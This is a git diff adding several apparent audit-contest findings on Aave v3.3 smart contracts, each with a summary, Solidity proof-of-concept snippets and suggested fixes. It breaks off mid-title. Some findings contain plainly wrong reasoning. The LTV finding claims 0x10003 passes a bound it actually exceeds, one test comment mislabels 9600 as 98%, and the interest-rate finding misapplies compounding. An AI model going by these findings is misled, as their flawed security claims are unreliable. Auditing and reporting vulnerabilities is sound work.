+#Mitigation + +Add Validation to Prevent Ceiling Exceedance: Introduce a check to ensure that the nextIsolationModeTotalDebt does not exceed the isolationModeDebtCeiling before updating the value: + +uint256 newDebt = (params.amount / + 10 ** + (reserveCache.reserveConfiguration.getDecimals() - + ReserveConfiguration.DEBT_CEILING_DECIMALS)).toUint128(); + +require( + reservesData[isolationModeCollateralAddress].isolationModeTotalDebt + newDebt <= isolationModeDebtCeiling, + "Debt ceiling exceeded" +); + +reservesData[isolationModeCollateralAddress].isolationModeTotalDebt += newDebt; + diff --git a/158.md b/158.md new file mode 100644 index 0000000..9a0ea59 --- /dev/null +++ b/158.md @@ -0,0 +1,78 @@ +Proud Taffy Worm + +Medium + +# Hardcoded Token Addresses in Protocol Data Provider Create Cross-Chain Deployment Risks + +### Summary + +The AaveProtocolDataProvider contract contains a critical architectural flaw in its implementation of token address handling. At its core, the contract hardcodes Ethereum mainnet addresses for specific tokens: + +```solidity +address constant MKR = 0x9f8F72aA9304c8B593d555F12eF6589cC3A579A2; +address constant ETH = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE; +``` + +This design fundamentally contradicts Aave V3's architectural vision of cross-chain operability. The Portal feature, a cornerstone of Aave V3's cross-chain functionality, enables seamless liquidity flows between networks. However, the hardcoded mainnet addresses create a significant disconnect between this design goal and its implementation. + +The implications cascade through multiple layers of the protocol. When deployed on L2s or alternative networks, these hardcoded addresses become invalid, breaking the protocol's ability to properly identify and process these tokens. + +The contract's rigid architecture extends beyond cross-chain limitations. It makes critical assumptions about token behavior, particularly regarding the implementation of standard interfaces. The special case handling assumes MKR and ETH lack standard `symbol()` functions: + +https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/helpers/AaveProtocolDataProvider.sol#L39 + +```solidity +if (reserves[i] == MKR) { + reservesTokens[i] = TokenData({symbol: 'MKR', tokenAddress: reserves[i]}); + continue; +} +``` + +This static implementation fails to account for the dynamic nature of smart contract protocols, where token implementations might be upgraded or modified. In the event of token contract upgrades or migrations on mainnet, the hardcoded addresses would require a full contract redeployment - a significant operational burden that contradicts Aave's commitment to protocol maintainability and upgradeability. + +The ramifications of this design choice extend beyond the immediate protocol infrastructure. It impacts the broader DeFi ecosystem, potentially disrupting protocols that integrate with Aave and rely on accurate data from this provider. The lack of flexibility in token address management creates a brittle system that's increasingly difficult to maintain as the protocol expands across networks. + +### Recommended Mitigation Steps + +1. Implement a registry pattern for special case tokens: +```solidity +mapping(address => TokenData) public specialCaseTokens; + +function setSpecialCaseToken(address token, string memory symbol) external onlyAdmin { + specialCaseTokens[token] = TokenData({ + symbol: symbol, + tokenAddress: token + }); +} +``` + +2. Modify `getAllReservesTokens()` to use the registry: +```solidity +function getAllReservesTokens() external view override returns (TokenData[] memory) { + IPool pool = IPool(ADDRESSES_PROVIDER.getPool()); + address[] memory reserves = pool.getReservesList(); + TokenData[] memory reservesTokens = new TokenData[](reserves.length); + + for (uint256 i = 0; i < reserves.length; i++) { + // Check special cases first + if (specialCaseTokens[reserves[i]].tokenAddress != address(0)) { + reservesTokens[i] = specialCaseTokens[reserves[i]]; + continue; + } + + // Try standard ERC20 interface + try IERC20Detailed(reserves[i]).symbol() returns (string memory symbol) { + reservesTokens[i] = TokenData({ + symbol: symbol, + tokenAddress: reserves[i] + }); + } catch { + reservesTokens[i] = TokenData({ + symbol: "UNKNOWN", + tokenAddress: reserves[i] + }); + } + } + return reservesTokens; +} +``` diff --git a/159.md b/159.md new file mode 100644 index 0000000..f6ae82e --- /dev/null +++ b/159.md @@ -0,0 +1,78 @@ +Fast Rouge Owl + +Medium + +# Unoccupied Bit Holes May Cause Future Collisions or “Phantom” Flags + +### Summary + +in +https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/8da00c84076db02af24bfe20cc6b99e6738f743f/aave-v3-origin/src/contracts/protocol/libraries/configuration/ReserveConfiguration.sol#L12 + +The contract includes references to **one-bit** or **eight-bit** “holes” left from older v3.2 parameters (like stableBorrowRate) or eModeCategory. For example: + +```solidity +// @notice there is an unoccupied hole of 1 bit at position 59... +// @notice there is an unoccupied hole of 8 bits from 168 to 176... +``` + +While these holes are currently unused, any future code or external contract that attempts to reintroduce stable-borrow logic or eModeCategory bits in the same positions could collide with a changed mask. This can inadvertently overwrite or conflict with existing flags, producing subtle bugs or vulnerabilities. + + + +### Root Cause + +- The library’s configuration uses a single `uint256 data` field for all flags and numeric parameters. +- Some bits remain “unoccupied” from older versions or placeholders for future expansions. +- If not carefully tracked, reusing these bits for new features can clash with existing masks or inadvertently shift bits for LTV, supply caps, or other fields. + +### Internal Pre-conditions + +_No response_ + +### External Pre-conditions + +_No response_ + +### Attack Path + +1. **Future Upgrade or Integrator** + - In a new iteration of Aave, developers introduce a new flag (e.g., `stableBorrowAllowed`) using bit 59 or bits 168–176. +2. **Colliding Masks** + - The integrator fails to coordinate with the existing `SILOED_BORROWING_MASK`, `UNBACKED_MINT_CAP_MASK`, or other fields. The same bit range is used twice, causing partial overlap. +3. **Silent Misconfiguration** + - Setting `stableBorrowAllowed = true` might inadvertently flip `borrowableInIsolation` or `flashLoanEnabled` if the offsets and masks conflict. The final `data` representation is corrupted, leading to unexpected protocol states. + + +### Impact + +- **Unpredictable Reserve Flags**: Bits intended to represent “X” may also alter or read from “Y,” causing the protocol to freeze incorrectly or set the wrong LTV. +- **Security Gaps**: An integrator or third-party extension might believe a bit is free and set it, unknowingly toggling a critical parameter like “paused” or “active.” + +### PoC + +```solidity +// If a new stableBorrowRate bit is introduced, incorrectly reusing bit 59: +uint256 internal constant STABLE_BORROW_MASK = 0x0000000000000000... << 59; // Overlaps existing hole + +// A future "setStableBorrowing()" might do: +self.data = (self.data & ~STABLE_BORROW_MASK) | ... << 59; + +// Without noticing that bit 59 was reserved or previously used, leading to config collisions. +``` + + + + + +### Mitigation + +1. **Document and Reserve the Holes** + - Provide explicit documentation or code comments ensuring no one reuses these bit positions. + - Possibly define placeholder constants so future expansions consistently reference them. +2. **Consolidate in a Shared Constants File** + - Keep all bit positions in a single source of truth. Any future additions must be assigned only from an official index range that does not overlap old placeholders. +3. **Unit Testing for Bit Collisions** + - Write tests that set each bit field, verifying other flags remain unchanged to detect collisions. + +although this issue is a future assumption but it's a concern worth reporting. \ No newline at end of file diff --git a/160.md b/160.md new file mode 100644 index 0000000..497b055 --- /dev/null +++ b/160.md @@ -0,0 +1,73 @@ +Proud Taffy Worm + +Medium + +# Inconsistent Native Token Symbol Representation in Protocol Data Provider + +### Summary + +The `AaveProtocolDataProvider` contract contains hardcoding of 'ETH' as the symbol for native tokens across all networks: + +https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/helpers/AaveProtocolDataProvider.sol#L39 + +```solidity +if (reserves[i] == ETH) { + reservesTokens[i] = TokenData({symbol: 'ETH', tokenAddress: reserves[i]}); + continue; +} +``` + +While the special address `0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE` is correctly used as a protocol-wide standard to represent native tokens across different networks, the hardcoding of 'ETH' as the symbol creates inconsistencies when the protocol is deployed on non-Ethereum networks. + +The impact is significant for user experience and protocol integrations: + +- On Polygon, the native token MATIC would be incorrectly represented as 'ETH' +- On Avalanche, AVAX would be labeled as 'ETH' +- On other L2s and sidechains, their respective native tokens would all show as 'ETH' + +This can lead to: +- Confusion for users interacting with the protocol across different networks +- Potential integration issues for protocols that rely on accurate token symbols +- Inconsistent data representation in protocol UIs and tools + +### Recommended Mitigation Steps + +1. Implement a network-aware symbol mapping for native tokens: + +```solidity +mapping(uint256 => string) private nativeTokenSymbols; + +function setNativeTokenSymbol(uint256 chainId, string memory symbol) external onlyAdmin { + nativeTokenSymbols[chainId] = symbol; + emit NativeTokenSymbolUpdated(chainId, symbol); +} + +function getNativeTokenSymbol() public view returns (string memory) { + string memory symbol = nativeTokenSymbols[block.chainid]; + return bytes(symbol).length > 0 ? symbol : "ETH"; // Fallback to ETH if not set +} +``` + +2. Modify the `getAllReservesTokens()` function to use this mapping: + +```solidity +if (reserves[i] == ETH) { + reservesTokens[i] = TokenData({ + symbol: getNativeTokenSymbol(), + tokenAddress: reserves[i] + }); + continue; +} +``` + +3. Initialize appropriate symbols during protocol deployment on each network: +- Ethereum: "ETH" +- Polygon: "MATIC" +- Avalanche: "AVAX" +- etc. + +This solution: +- Maintains correct native token identification across networks +- Provides accurate symbol representation for each chain +- Preserves protocol's cross-chain compatibility +- Improves user experience and integration reliability \ No newline at end of file diff --git a/161.md b/161.md new file mode 100644 index 0000000..a4c9103 --- /dev/null +++ b/161.md @@ -0,0 +1,121 @@ +Proud Taffy Worm + +Medium + +# Unmasked LTV Input in setLtv() Function Enables Cross-Parameter Bitmap Corruption + +## Summary +In the ReserveConfiguration library's `setLtv` function, there's a critical vulnerability where input validation fails to prevent values with higher bits set from corrupting other configuration parameters in the bitmap. While the function checks if the value is below MAX_VALID_LTV, it doesn't properly mask the input to ensure only the intended 16 bits are modified. + +https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/protocol/libraries/configuration/ReserveConfiguration.sol#L73 + +```solidity +function setLtv(DataTypes.ReserveConfigurationMap memory self, uint256 ltv) internal pure { + require(ltv <= MAX_VALID_LTV, Errors.INVALID_LTV); + self.data = (self.data & ~LTV_MASK) | ltv; // Vulnerable code +} +``` + +The issue lies in the bitwise operation that directly uses the unmasked `ltv` value. A value like 0x10003 (decimal 65539) would pass the MAX_VALID_LTV check (since 3 < 65535) but would corrupt configuration data in higher bits during the bitwise OR operation. + +For example: + +The LTV field in the configuration is allocated 16 bits, as shown by the mask: +```solidity +LTV_MASK = 0x000000000000000000000000000000000000000000000000000000000000FFFF +``` + +Let's look at some numbers: + +1. A valid LTV value like 65000: +```solidity +Binary: 0000 0000 0000 0000 1111 1101 1110 1000 +Hex: 0x0000FDE8 +``` +This is fine because it's under MAX_VALID_LTV (65535) and only uses the first 16 bits. + +2. Now consider this problematic value: +```solidity +Binary: 0001 0000 0000 0000 0000 0000 0000 0000 +Hex: 0x10000 +Decimal: 65536 +``` +This would fail the MAX_VALID_LTV check. + +3. But here's where it gets tricky. Consider this value: +```solidity +Binary: 0001 0000 0000 0000 0000 0000 0000 0011 +Hex: 0x10003 +Decimal: 65539 +``` +If we take just the lowest 16 bits, it's just 3 (well under MAX_VALID_LTV), but it has a '1' bit set in position 17. + +The current code: +```solidity +require(ltv <= MAX_VALID_LTV, Errors.INVALID_LTV); +self.data = (self.data & ~LTV_MASK) | ltv; +``` + +would allow this value because 3 is less than MAX_VALID_LTV, but when the bitwise OR operation happens, that '1' in position 17 would corrupt the next parameter in the configuration bitmap. + +To visualize: +```solidity +Existing config: 1111 0000 0000 0000 0000 0000 0000 0000 +Input ltv: 0001 0000 0000 0000 0000 0000 0000 0011 +~LTV_MASK: 1111 1111 1111 1111 1111 0000 0000 0000 + ---------------------------------------- +Result: 1111 0000 0000 0001 0000 0000 0000 0011 + ^ + | + This bit shouldn't be set! +``` + +## Scenario + +1. An admin account calls `configureReserveAsCollateral()` with seemingly valid parameters including an `ltv` value that appears safe: + +```solidity +// Admin call +configurator.configureReserveAsCollateral( + asset, + 0x10003, // Appears valid since 3 < MAX_VALID_LTV + liquidationThreshold, + liquidationBonus +); +``` + +2. Inside `configureReserveAsCollateral()`, this value is passed to `setLtv()`: +```solidity +currentConfig.setLtv(ltv); // ltv = 0x10003 +``` + +3. In `setLtv()`, the value passes validation: +```solidity +require(ltv <= MAX_VALID_LTV, Errors.INVALID_LTV); // Passes since 3 < 65535 +``` + +4. The unmasked value is then used in bitwise operations: +```solidity +self.data = (self.data & ~LTV_MASK) | ltv; +// ltv = 0x10003 has bit 17 set, corrupting liquidation threshold +``` + +5. The result: bit 17 is set in the configuration word, corrupting the liquidation threshold parameter that starts at position 16, while still appearing to set a valid LTV of 3. + +## Impact + +The vulnerability has severe implications for the protocol due to bitmap corruption. When corrupted values are passed to `setLtv()`, bits beyond position 16 could be set unexpectedly, directly affecting adjacent configuration parameters stored in the same storage slot. This includes critical risk parameters like liquidation thresholds and borrowing flags. + +The corruption of these parameters is particularly dangerous because they control core protocol functionality. For example, if the liquidation threshold bits are corrupted, it could trigger or prevent liquidations incorrectly. Similarly, corrupted borrowing flags could enable or disable borrowing functionality unexpectedly. This creates a systemic risk where the protocol's risk parameters become unreliable. + +Since `setLtv()` is called by privileged functions like `configureReserveAsCollateral()`, even properly authorized parameter updates could lead to unintended state changes. The impact extends beyond AAVE itself - protocols integrating with AAVE that read these configuration parameters would also be affected, potentially causing cascading failures if they make decisions based on corrupted values. + +The end result is potential direct financial losses through incorrect liquidations, blocked withdrawals, or unauthorized borrowing, undermining the protocol's risk management system. + +## Fix +To fix this, the input should be explicitly masked: +```solidity +self.data = (self.data & ~LTV_MASK) | (ltv & LTV_MASK); +``` + +This ensures only the lowest 16 bits of the input value are used, preventing any potential corruption of other configuration parameters stored in the same word. \ No newline at end of file diff --git a/162.md b/162.md new file mode 100644 index 0000000..bf9116c --- /dev/null +++ b/162.md @@ -0,0 +1,107 @@ +Fast Pink Crow + +High + +# Liquidators will fail to liquidate if the total debt is capped and leftover is dust + +### Summary + +When liquidators do a liquidation, if the collateral and debt balance exceed the threshold, the maximum liquidatable debt will be capped. Additionally, the remaining debt cannot be less than a predetermined dust amount. In some scenarios, both conditions can occur, leading to the liquidation reverting. + +### Root Cause + +When liquidation occurs, if the total collateral and debt exceed the predetermined `MIN_BASE_MAX_CLOSE_FACTOR_THRESHOLD`, the maximum amount to be liquidated will be capped as follows: +https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/8da00c84076db02af24bfe20cc6b99e6738f743f/aave-v3-origin/src/contracts/protocol/libraries/logic/LiquidationLogic.sol#L283-L299 + +There is another check that ensures the user's remaining reserve debt and collateral balance are not dust: +https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/8da00c84076db02af24bfe20cc6b99e6738f743f/aave-v3-origin/src/contracts/protocol/libraries/logic/LiquidationLogic.sol#L325-L345 + +In some scenarios, the debt may be capped, and as a result, the maximum liquidatable debt could be lower than the amount the liquidator intends to repay. However, after repaying this capped debt amount, the remaining debt could be less than the predetermined `MIN_LEFTOVER_BASE`, causing the liquidation to revert. + +### Internal Pre-conditions + +1. User has debt and collateral amount more than `MIN_BASE_MAX_CLOSE_FACTOR_THRESHOLD` in base currency units +2. Capped liquidation amount would leave users collateral or debt balance smaller than `MIN_LEFTOVER_BASE` + +### External Pre-conditions + +None needed + +### Attack Path + +No attack path, can happen naturally if the balances fits the above described scenario. Someone can specifically supply and borrow to satisfy these conditions to delay their liquidations and take advantage of not being able to be liquidated. + +### Impact + +Liquidatiors will fail to liquidate a user that is indeed eligible to be liquidated. Result of it will be a delayed liquidation which can occur bad debt. + +### PoC + +```solidity +function test_liq_impossible_due_to_dust() public { + uint256 amount = 2100e6; + uint256 borrowAmount = 1990e6; + + vm.startPrank(poolAdmin); + contracts.poolConfiguratorProxy.configureReserveAsCollateral( + tokenList.usdx, + 9500, // LTV = 95% + 9600, // Liquidation Threshold = 98% + 10400 // Liquidation Bonus = 105% + ); + vm.stopPrank(); + + vm.startPrank(Alice); + contracts.poolProxy.supply(tokenList.usdx, amount, alice, 0); + contracts.poolProxy.borrow(tokenList.usdx, borrowAmount, 2, 0, Alice); + vm.stopPrank(); + + // accrue interest such that the account is liquidatable + vm.warp(block.timestamp + 13600 days); + + // Get user account data, print stuff + ( + uint256 totalCollateralBase, + uint256 totalDebtBase, + uint256 availableBorrowsBase, + uint256 currentLiquidationThreshold, + uint256 ltv, + uint256 healthFactor + ) = contracts.poolProxy.getUserAccountData(Alice); + + console.log("Total Collateral (Base):", totalCollateralBase); + console.log("Total Debt (Base):", totalDebtBase); + console.log("Available Borrows:", availableBorrowsBase); + console.log("Current Liquidation Threshold:", currentLiquidationThreshold); + console.log("LTV:", ltv); + console.log("Health Factor:", healthFactor); + + LiquidationInput memory params = _loadLiquidationInput( + alice, + tokenList.usdx, + tokenList.usdx, + UINT256_MAX, + tokenList.wbtc, + 0 + ); + + // user is indeed liquidatable! + bool isLiquidatable = healthFactor < 1e18; + assert(isLiquidatable); + + // Liquidate + vm.prank(bob); + vm.expectRevert(bytes(Errors.MUST_NOT_LEAVE_DUST)); // we revert here cant liq the user! + contracts.poolProxy.liquidationCall( + params.collateralAsset, + params.debtAsset, + params.user, + params.liquidationAmountInput, + params.receiveAToken + ); + } +``` + +### Mitigation + +If the capped debt amount (maxLiquidatableDebt) will make the users collateral or debt balance lower than the dust amount, then increase the maxLiquidatableDebt such that user will be liquidated and there will not be a dust. This would lead `maxLiquidatableDebt` to be slightly higher assuming the predetermined dust amount is small enough which would be a considerable liquidation for liquidators. \ No newline at end of file diff --git a/163.md b/163.md new file mode 100644 index 0000000..97af28b --- /dev/null +++ b/163.md @@ -0,0 +1,107 @@ +Proud Taffy Worm + +Medium + +# setBorrowableInIsolation() Allows borrowable=true With Zero Debt Ceiling Leading to Failed Transactions and Gas Loss + +## Summary + +In AAVE, isolation mode is a risk management feature where certain assets can only be borrowed against specific isolated collaterals, with a ceiling on the total debt that can be accrued. + +Key Components: +1. Debt Ceiling: Maximum amount of debt that can be taken in isolation mode for an asset +2. Borrowable in Isolation: Flag indicating if an asset can be borrowed when using isolated collateral + +Current Implementation: + +https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/protocol/libraries/configuration/ReserveConfiguration.sol#L236 + +```solidity +function setBorrowableInIsolation( + DataTypes.ReserveConfigurationMap memory self, + bool borrowable +) internal pure { + self.data = + (self.data & ~BORROWABLE_IN_ISOLATION_MASK) | + (uint256(borrowable ? 1 : 0) << BORROWABLE_IN_ISOLATION_START_BIT_POSITION); +} +``` + +The function allows setting borrowable=true even when: +```solidity +getDebtCeiling(self) == 0 +``` + +This creates a logical contradiction because: +1. Debt ceiling = 0 means no debt can be taken in isolation mode +2. But borrowable=true suggests the asset can be borrowed in isolation mode +3. Result: Asset appears borrowable but any attempt to borrow will fail + +## Scenario + +1. Initial Setup: +```solidity +// Asset is configured with 0 debt ceiling +setDebtCeiling(reserve, 0); +``` + +2. Admin Misconfiguration: +```solidity +// Admin calls setBorrowableInIsolation despite 0 debt ceiling +poolConfigurator.setBorrowableInIsolation( + asset, + true // Allowed despite 0 debt ceiling +); +``` + +3. Protocol State Inconsistency: +```solidity +DataTypes.ReserveConfigurationMap config = pool.getConfiguration(asset); +bool isBorrowable = config.getBorrowableInIsolation(); // Returns true +uint256 ceiling = config.getDebtCeiling(); // Returns 0 +``` + +4. Failed User Interaction: +```solidity +// User attempts to borrow based on borrowable flag +try pool.borrow( + asset, + amount, + INTEREST_RATE_MODE, + REFERRAL_CODE, + onBehalfOf +) { + // Transaction will revert due to 0 debt ceiling + // despite borrowableInIsolation = true +} +``` + +The lack of validation in `setBorrowableInIsolation` allows an inconsistent state to be created and propagate through to user interactions. + +## Impact + +The vulnerability creates a critical inconsistency between an asset's isolation mode borrowing configuration and its actual borrowing capability. When a reserve has its borrowableInIsolation flag set to true while maintaining a zero debt ceiling, the protocol enters an invalid state where the borrowing interface is exposed but the underlying functionality is blocked. + +This manifests as failed transactions when users attempt to borrow in isolation mode, since the zero debt ceiling prevents any borrowing despite the borrowable flag indicating otherwise. These failures result in direct gas losses for users, with particular severity on high-fee networks like Ethereum mainnet where complex contract interactions can cost significant amounts. + +The state inconsistency poses broader systemic risks because protocol integrators often rely on the borrowable flag to determine asset availability. Smart contracts or interfaces that check this flag to enable borrowing functionality will incorrectly signal borrowing availability, potentially triggering cascading failures in dependent systems and automated strategies. + +Beyond the immediate impact, this discrepancy between indicated and actual functionality undermines the protocol's reliability guarantees and creates friction in what should be a seamless isolation mode borrowing system. The issue represents a breakdown in AAVE's core risk management functionality, where critical borrowing parameters are allowed to exist in contradictory states. + +## Fix + +A proper implementation should enforce the invariant that an asset can only be borrowable in isolation if it has a non-zero debt ceiling: + +```solidity +function setBorrowableInIsolation( + DataTypes.ReserveConfigurationMap memory self, + bool borrowable +) internal pure { + require(!borrowable || getDebtCeiling(self) > 0, "INCONSISTENT_ISOLATION_MODE_PARAMS"); + self.data = + (self.data & ~BORROWABLE_IN_ISOLATION_MASK) | + (uint256(borrowable ? 1 : 0) << BORROWABLE_IN_ISOLATION_START_BIT_POSITION); +} +``` + +This ensures protocol consistency and prevents confusing states where assets appear borrowable but cannot actually be borrowed. \ No newline at end of file diff --git a/164.md b/164.md new file mode 100644 index 0000000..4f0061c --- /dev/null +++ b/164.md @@ -0,0 +1,109 @@ +Proud Taffy Worm + +Medium + +# Unbounded Protocol Fee Setting in Flashloan Premium Parameters Enables Pool Liquidity Drain Through Fee Extraction + +## Summary + +A critical vulnerability exists in the flashloan fee mechanism of the lending pool. The root issue lies in the independent setting of two fee parameters - flashLoanPremiumTotal and flashLoanPremiumToProtocol - without validation of their relationship. + +The issue stems from two fee parameters that can be set independently: + +https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/protocol/pool/Pool.sol#L686 + +```solidity +// In PoolConfigurator.sol +function updateFlashloanPremiumTotal(uint128 newFlashloanPremiumTotal) external override onlyPoolAdmin { + require(newFlashloanPremiumTotal <= PercentageMath.PERCENTAGE_FACTOR, Errors.FLASHLOAN_PREMIUM_INVALID); + _pool.updateFlashloanPremiums(newFlashloanPremiumTotal, _pool.FLASHLOAN_PREMIUM_TO_PROTOCOL()); +} + +function updateFlashloanPremiumToProtocol(uint128 newFlashloanPremiumToProtocol) external override onlyPoolAdmin { + require(newFlashloanPremiumToProtocol <= PercentageMath.PERCENTAGE_FACTOR, Errors.FLASHLOAN_PREMIUM_INVALID); + _pool.updateFlashloanPremiums(_pool.FLASHLOAN_PREMIUM_TOTAL(), newFlashloanPremiumToProtocol); +} + +// In Pool.sol +function updateFlashloanPremiums( + uint128 flashLoanPremiumTotal, + uint128 flashLoanPremiumToProtocol +) external virtual override onlyPoolConfigurator { + _flashLoanPremiumTotal = flashLoanPremiumTotal; + _flashLoanPremiumToProtocol = flashLoanPremiumToProtocol; +} +``` + +When flashLoanPremiumToProtocol exceeds flashLoanPremiumTotal, each flashloan execution creates a discrepancy between collected and distributed fees. For a flashloan of amount X, the protocol collects X * flashLoanPremiumTotal from the user but attempts to distribute X * flashLoanPremiumToProtocol to the treasury. This delta is automatically extracted from the pool's liquidity, effectively allowing continuous siphoning of user deposits. + +The attack vector scales linearly with flashloan size and can be maximized through batched transactions. An attacker can target high-liquidity pools to extract maximum value per transaction. The lack of access control requirements on flashloan execution, combined with the immediate availability of any successfully extracted funds, makes this a critical threat to protocol solvency. + +This vulnerability demonstrates how a seemingly minor parameter validation oversight in fee configuration can create a systemic risk to all pool participants' deposits. + +## Scenario + +1. Initial Setup: +- Pool state: flashLoanPremiumTotal = 100 bps (1%) +- Admin transaction sets flashLoanPremiumToProtocol = 200 bps (2%) +- AAVE pool has 1000 ETH liquidity from depositors + +2. Attack Execution: +```solidity +function attack(uint256 amount) external { + // Take flashloan for 1000 ETH + pool.flashLoanSimple( + address(this), + ETH, + 1000 ether, + "", + 0 + ); +} + +function executeOperation( + address asset, + uint256 amount, + uint256 premium, + address initiator, + bytes calldata params +) external returns (bool) { + // Pay back 1010 ETH (1000 + 1% premium) + IERC20(asset).approve(address(POOL), amount + premium); + return true; +} +``` + +3. Per-Transaction Impact: +- Flashloan taken: 1000 ETH +- Premium paid by attacker: 10 ETH (1%) +- Premium taken by protocol: 20 ETH (2%) +- Net extraction: 10 ETH from pool liquidity + +4. Final State: +- Attacker profit: 0 ETH +- Protocol treasury: +20 ETH +- Pool liquidity: -10 ETH (taken from depositors) + +This cycle can be repeated until the pool's liquidity is significantly impacted, with each iteration extracting (flashLoanPremiumToProtocol - flashLoanPremiumTotal) * flashloan_amount from depositor funds. + +## Recommended mitigation steps + +Add validation in Pool.sol to ensure protocol fee cannot exceed total fee: + +```solidity +function updateFlashloanPremiums( + uint128 flashLoanPremiumTotal, + uint128 flashLoanPremiumToProtocol +) external virtual override onlyPoolConfigurator { + require(flashLoanPremiumToProtocol <= flashLoanPremiumTotal, "Invalid flash loan premiums"); + _flashLoanPremiumTotal = flashLoanPremiumTotal; + _flashLoanPremiumToProtocol = flashLoanPremiumToProtocol; +} +``` + +This ensures that: +1. Protocol can never extract more fees than collected from users +2. Pool liquidity remains protected even if fee parameters are updated incorrectly +3. Maintains proper accounting of flashloan fees + +The validation should be added to the Pool contract as it's the final enforcer of protocol invariants. \ No newline at end of file diff --git a/165.md b/165.md new file mode 100644 index 0000000..e310b5d --- /dev/null +++ b/165.md @@ -0,0 +1,49 @@ +Proud Taffy Worm + +Medium + +# getNormalizedIncome() Uses Linear Instead of Compound Interest Causing Systematic Protocol Deficits + +## Summary + +The protocol's interest rate mechanism contains a critical economic design flaw in its asymmetric interest calculation approach. The `getNormalizedIncome` function uses `calculateLinearInterest` for lending while borrowing operations use `calculateCompoundedInterest`, creating a mathematical mismatch in interest accrual. + +The linear interest calculation in `getNormalizedIncome` grows arithmetically: + +https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/protocol/libraries/logic/ReserveLogic.sol#L46 + +```solidity +return MathUtils.calculateLinearInterest(reserve.currentLiquidityRate, timestamp).rayMul( + reserve.liquidityIndex +); +``` + +While the compound interest calculation grows exponentially, causing systematic deficits. This divergence is demonstrated through the interest formulas: + +Linear (Lending): Principal × Rate × Time +Compound (Borrowing): Principal × (1 + Rate)^Time + +For a 1000 token position at 10% APR over 2 years: +Lending return: 1000 + (1000 × 0.10 × 2) = 1200 tokens +Borrowing debt: 1000 × (1.10)² = 1210 tokens +Deficit: 10 tokens + +This deficit compounds with higher rates, longer durations, and larger positions, leading to protocol insolvency risk that cannot be mitigated through parameter adjustments or normal operations. + +## Recommended mitigation steps + +The `getNormalizedIncome` function should be modified to use compound interest, aligning with borrowing-side calculations: + +```solidity +function getNormalizedIncome( + DataTypes.ReserveData storage reserve +) internal view returns (uint256) { + uint40 timestamp = reserve.lastUpdateTimestamp; + return (timestamp == block.timestamp) + ? reserve.liquidityIndex + : MathUtils.calculateCompoundedInterest(reserve.currentLiquidityRate, timestamp) + .rayMul(reserve.liquidityIndex); +} +``` + +This requires a protocol migration to compound interest with comprehensive testing of interest accrual symmetry between lending and borrowing operations. Implementation should include automated balance verification mechanisms to ensure ongoing asset-liability alignment. \ No newline at end of file diff --git a/166.md b/166.md new file mode 100644 index 0000000..f4019bb --- /dev/null +++ b/166.md @@ -0,0 +1,69 @@ +Proud Taffy Worm + +Medium + +# Missing Timestamp Validation in Interest Calculation Functions Leads to Unbounded Interest Accrual and Economic Exploitation + +## Summary + +A security vulnerability exists in the interest calculation mechanism due to missing timestamp validation in both `MathUtils.calculateLinearInterest()` and `getNormalizedIncome()`. The issue stems from how timestamps are handled in the calculation. + +The vulnerability originates in the `getNormalizedIncome()` function where `lastUpdateTimestamp` is read from storage without validation. This timestamp is then passed to `calculateLinearInterest()` which performs unchecked arithmetic operations: + +https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/protocol/libraries/logic/ReserveLogic.sol#L46 + +```solidity +function getNormalizedIncome( + DataTypes.ReserveData storage reserve +) internal view returns (uint256) { + uint40 timestamp = reserve.lastUpdateTimestamp; + // No validation of timestamp here + return MathUtils.calculateLinearInterest(reserve.currentLiquidityRate, timestamp) + .rayMul(reserve.liquidityIndex); +} + +function calculateLinearInterest( + uint256 rate, + uint40 lastUpdateTimestamp +) internal view returns (uint256) { + uint256 result = rate * (block.timestamp - uint256(lastUpdateTimestamp)); + // Unchecked arithmetic on potentially invalid timestamp +} +``` + +When uninitialized storage results in a zero timestamp, the interest calculation spans the entire blockchain history. For example, with a 5% APR and current timestamp of 1705000000, the calculation `0.05 * 1705000000` results in massive interest accrual across the maximum possible timespan. + +The vulnerability is exacerbated when timestamp manipulation leads to future timestamps. If `lastUpdateTimestamp` exceeds `block.timestamp`, the unchecked subtraction causes an arithmetic underflow. Consider a current timestamp of 1705000000 and a future timestamp of 1705000100 - the calculation `0.05 * (1705000000 - 1705000100)` underflows, resulting in catastrophically incorrect interest calculations. + +Additionally, ancient timestamps pose a significant risk as there's no maximum time delta limitation. A timestamp from one year ago would allow interest to accumulate unbounded over that period, potentially exceeding reasonable economic parameters and straining protocol reserves. + +The severity is compounded by `getNormalizedIncome()`'s central role in the protocol - it's invoked for every interest-bearing operation. With no safeguards at either the high-level `getNormalizedIncome()` or low-level `calculateLinearInterest()` functions, the vulnerability threatens the protocol's economic integrity through excessive interest accrual. This can be triggered through normal protocol operations, making it particularly dangerous. + + +## Recommended mitigation steps + +1. Implement comprehensive timestamp validation in `getNormalizedIncome()`: +```solidity +function getNormalizedIncome( + DataTypes.ReserveData storage reserve +) internal view returns (uint256) { + uint40 timestamp = reserve.lastUpdateTimestamp; + require(timestamp > 0, "Invalid timestamp"); + require(timestamp <= block.timestamp, "Future timestamp"); + require(block.timestamp - timestamp <= MAX_TIME_DELTA, "Time delta too large"); + + if (timestamp == block.timestamp) { + return reserve.liquidityIndex; + } else { + return MathUtils.calculateLinearInterest(reserve.currentLiquidityRate, timestamp) + .rayMul(reserve.liquidityIndex); + } +} +``` + +2. Define protocol constants: +```solidity +uint256 constant MAX_TIME_DELTA = 365 days; // Maximum allowable time between updates +``` + +These changes ensure timestamp safety at all levels of interest calculation while maintaining protocol functionality within reasonable economic bounds. \ No newline at end of file diff --git a/167.md b/167.md new file mode 100644 index 0000000..c3a0a96 --- /dev/null +++ b/167.md @@ -0,0 +1,89 @@ +Proud Taffy Worm + +Medium + +# Compound Interest Underestimation Due 